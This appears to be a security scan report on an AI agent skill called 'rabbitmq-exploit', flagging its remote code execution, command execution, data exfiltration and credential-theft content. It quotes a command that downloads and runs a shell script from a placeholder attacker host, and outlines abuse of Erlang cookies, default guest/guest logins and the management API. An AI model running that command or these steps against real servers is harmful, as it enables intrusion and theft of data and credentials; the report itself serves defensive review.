The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides comprehensive instructions and code for multiple RCE vectors. references/spring-amqp-rce.md contains a full Java implementation for CVE-2023-34050, including gadget chains (POJONode, TemplatesImpl) to execute arbitrary code. references/erlang-cookie-rce.md details how to use a leaked Erlang cookie to connect to a remote node and execute system commands via os:cmd().
[COMMAND_EXECUTION]: Several references provide shell commands and scripts for unauthorized access. references/erlang-cookie-rce.md explicitly lists commands to download and execute remote shell scripts (e.g., wget http://attacker/shell.sh -O /tmp/shell.sh && sh /tmp/shell.sh). The skill also includes Python scripts (detection-script.md, management-api.md) that use socket and requests to perform network probing and exploitation.
[DATA_EXFILTRATION]: Instructions in references/management-api.md describe how to export sensitive server configurations via the /api/definitions endpoint, enumerate user accounts, and extract messages directly from queues without authorization.
[CREDENTIALS_UNSAFE]: The skill identifies and targets highly sensitive credentials. It specifically instructs the agent on how to locate the .erlang.cookie file across different operating systems and uses it to gain full node access. It also systematically tests for default administrative credentials like guest/guest.
[EXTERNAL_DOWNLOADS]: The skill provides commands to download and execute scripts from external, untrusted sources (e.g., http://attacker/shell.sh) to facilitate remote access and payload execution on target systems.

rabbitmq-exploit